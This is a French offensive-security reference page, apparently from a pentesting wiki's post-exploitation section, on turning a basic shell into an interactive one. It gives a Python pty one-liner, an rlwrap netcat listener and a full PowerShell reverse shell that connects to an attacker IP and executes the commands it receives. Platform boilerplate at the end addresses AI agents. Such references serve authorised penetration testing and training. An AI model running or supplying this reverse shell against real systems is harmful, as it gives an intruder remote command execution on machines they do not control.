> For the complete documentation index, see [llms.txt](https://kalix.gitbook.io/kalix/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kalix.gitbook.io/kalix/post-exploitation/upgrade-de-shell.md).

# Upgrade de Shell

<mark style="color:yellow;">**Description :**</mark>&#x20;

L'upgrade de shell est un processus permettant de transformer un shell de base en un shell interactif, offrant ainsi une expérience plus fluide et plus puissante pour l'exécution de commandes et l'interaction avec le système cible.

<mark style="color:yellow;">**Exemples d'utilisation :**</mark>

1. Upgrader un shell Bash en shell interactif : `python -c 'import pty; pty.spawn("/bin/bash")'`
2. Upgrader un shell Netcat en shell interactif (Linux) : `rlwrap nc -lvnp`
3. Upgrader un shell PowerShell en shell interactif (Windows) : `$client = New-Object System.Net.Sockets.TCPClient("<attaquant_ip>", <attaquant_port>) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + "PS " + (pwd).Path + "> " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close()`

<mark style="color:yellow;">**Options Principales :**</mark>

* Upgrader un shell Bash en shell interactif :
  * Utiliser la bibliothèque Python `pty` pour améliorer le shell en interactif.
* Upgrader un shell Netcat en shell interactif (Linux) :
  * Utiliser `rlwrap` pour ajouter la fonctionnalité d'édition de ligne à Netcat.
  * Remplacer `<port>` par le port écouté par Netcat.
* Upgrader un shell PowerShell en shell interactif (Windows) :
  * Utiliser une connexion TCP pour établir une communication bidirectionnelle.
  * Remplacer `<attaquant_ip>` par l'adresse IP de l'attaquant et `<attaquant_port>` par le port de l'attaquant.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kalix.gitbook.io/kalix/post-exploitation/upgrade-de-shell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
